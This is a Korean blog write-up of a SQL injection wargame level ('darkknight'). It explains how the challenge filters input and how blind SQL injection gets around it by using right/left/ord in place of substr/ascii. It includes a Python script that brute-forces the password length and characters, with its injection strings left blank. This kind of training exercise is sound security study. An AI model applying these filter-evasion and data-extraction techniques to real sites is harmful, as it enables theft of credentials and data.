Youngjin's Log

[los] 12번 문제 darkknight 본문

Web/Wargame&CTF

[los] 12번 문제 darkknight

Youngjin. 2018. 7. 12. 20:06

12번 문제 - darkknight



php 코드 분석

preg_match함수로 테이블에 직접적인 접근을 금지하고 있습니다.

그리고 substr, ascii을 금지시켰습니다.

첫번째 쿼리문에 세가지의 조건이 존재하고 문자열의 pw와 정수형의 no을 입력 받습니다.

입력 받아서 출력된 id를 보여주고 입력받은 pw문자열을 addslashes함수로 싱글쿼터, 더블쿼터, 널, 역슬래시 앞에 역슬래시(\)를 추가하여 반환합니다.

반환받은 pw문자열을 두번째 쿼리문에 입력하고 출력된 pw와 반환된pw를 비교하여 일치할 경우, 클리어 되는 문제입니다.


TIP

문제 코드에서 addslashes함수만 보이면 이제 다들 아실 것 같습니다. Blind SQL injection문제입니다.

substr은 right, left, ord함수로 대체하여 이용할 수 있을 듯 싶습니다.

보통 문자를 비교할때 ascii를 많이 쓰셨을텐데, ascii말고 ord, hex 등등 존재하기때문에 다양하게 이용하시면 될 것 같습니다.

답은 다양한 형태로 올 수 있습니다.


코딩은 동작해서 원하는 값을 얻을 수 있게만 되어 있는거라 다른 분들처럼 최적화된 코드가 아닐 수도 있습니다. 그저 입력하는 노동을 조금 덜하기 위해서 빠르게 작성해본 것입니다. 저는 입력 값에 substr대신에 right, left를 사용하는 것으로 코딩했습니다.

import requests


URL = 'https://los.eagle-jump.org/'
cookies={'Cookie':''}
ch = ''

result = ''
result2 = ''
num = 1
guest = 'Hello guest'
admin = 'Hello admin'
clear = 'Clear'

strp1 = ''
strp2 = ""

'''
strurl1 = input('반복할 첫번째 값:')
strurl2 = input('반복할 두번째 값:')
strurl3 = input('반복할 세번째 값:')
'''

strurl1 = ''
strurl2 = ""
strurl3 = ""

for p in range(1, 50):
req = requests.get(URL+ch+strp1+str(p)+strp2, headers=cookies)
response = req.text
print(strp1 + str(p) + strp2 )
if admin in response:
print('admin')
result3 = "암호의 길이는 " + str(p) + "자리 입니다."
break

for i in range(p,0,-1):
for j in range(0,128):
num = j
req = requests.get(URL+ch+strurl1+str(i)+strurl2+str(j)+strurl3, headers=cookies)

response = req.text
print(strurl1+str(i)+strurl2+str(j)+strurl3)

# 문자열 비교해서 출력하기
if clear in response:
print('good')
elif admin in response:
if num == 0:
print('NULL값')
break
print('admin')
result = result+'\n'+str(p+1-i)+'번째 암호는'+' = '+'ascii 값: '+str(j)
result2 = result2+chr(j)
break
elif guest in response:
print('guest')
#결과 출력
print(result)
print(result3)
print('답은 :'+result2)


'Web > Wargame&CTF' 카테고리의 다른 글

[los] 14번 문제 - giant  (0) 2018.11.14
[los] 13번 문제 - bugbear  (1) 2018.07.26
[los] 11번 문제 golem  (0) 2018.07.12
[los] 10번 문제 skeleton  (0) 2018.07.12
[los] 9번 문제 vampire  (0) 2018.07.12
Comments